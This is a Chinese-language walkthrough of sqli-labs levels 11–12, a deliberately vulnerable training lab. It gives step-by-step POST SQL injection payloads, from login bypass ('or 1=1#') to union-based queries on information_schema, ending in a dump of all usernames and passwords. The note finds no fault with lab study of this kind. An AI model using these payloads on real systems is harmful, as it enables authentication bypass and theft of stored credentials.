sqli-labs闯关笔记-less-11-less12-POST注入
less11-less14其实同less1-less4,只是注入的地方换成了post注入,注释符变成了#
less-11——基于’的POST型注入
第11关与前面不同,如下,发送的数据为post数据。
输入admin/admin后,使用burpsuite进行抓包:
使用burpsuite进行post注入攻击。
1、POST内容: uname=‘ & passwd=1&submit=Submit 返回的结果显示你存在sql语法错误,证明存在注入漏洞。或这是直接在username中填写’,password中随便写判断一下是否存在注入漏洞。
uname='&passwd=123456&submit=Submit
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '123456' LIMIT 0,1' at line 1
2、直接在username中填写 admin‘ or 1=1#(此处不能使用--+,因为--+主要使用在url中,#是适用的)即: uname=a’ or 1=1 #& passwd=a &submit=Submit此时登录成功,可以验证存在注入漏洞。
uname=' or 1=1# &passwd=123456&submit=Submit
3、 此时在password位置进行验证:uname=a&passwd=a‘ or 1=1# &submit=Submit,登录成功,开始构造!
uname=admin &passwd=1' or 1=1# &submit=Submit
4、uname=a‘ order by 3#&passwd=a &submit=Submit或者是使用 uname=a&passwd=a’ order by 2# &submit=Submit同样可以进行判断,最后得出一共有两个字段。
uname=a' order by 2# &passwd=admin &submit=Submit
5、uname=a&passwd=a‘ union select database(),2 # &submit=Submit查询到当前的数据库为security,或者是使用:uname=a’ union select database(),2 # &passwd=a&submit=Submit均可以查询到当前的数据库,当然也可以查询其它信息。
uname=a' union select database(),2# &passwd=admin &submit=Submit
6、uname=a‘ union select 1,(select schema_name from information_schema.schemata limit 1,1) # &passwd=a&submit=Submit 可以查询到当前的第一个数据库,或者是使用命令:uname=a’ union select 1,(select group_concat(schema_name) from information_schema.schemata) # &passwd=a&submit=Submit 可以得到所有的数据库。
uname=a' union select 1,(select schema_name from information_schema.schemata limit 0,1)# &passwd=admin &submit=Submit
uname=a' union select 1,(select group_concat(schema_name) from information_schema.schemata)# &passwd=admin &submit=Submit
7、uname=a‘ union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=0x7365637572697479) # &passwd=a&submit=Submit 可以得到security数据库中的所有的表信息
uname=a' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=0x7365637572697479)# &passwd=admin &submit=Submit
8、uname=a‘ union select 1,(select group_concat(column_name) from information_schema.columns where table_name=0x7573657273) # &passwd=a&submit=Submit 通过users表获得里面的列值:id,username,password
uname=a' union select 1,(select group_concat(column_name) from information_schema.columns where table_name=0x7573657273)# &passwd=admin &submit=Submit
9、uname=a‘ union select 1, group_concat(concat_ws(’~‘,username,password)) from security.users # &passwd=a&submit=Submit 此时就可以得到里面所有的数据。
uname=a' union select 1,(select group_concat(concat_ws(0x7e,username,password)) from security.users)# &passwd=admin &submit=Submit
less-12——基于")的POST型注入
less12与less11基本一致,只是闭合的时候使用")。
uname=1") or 1=1# &passwd=admin &submit=Submit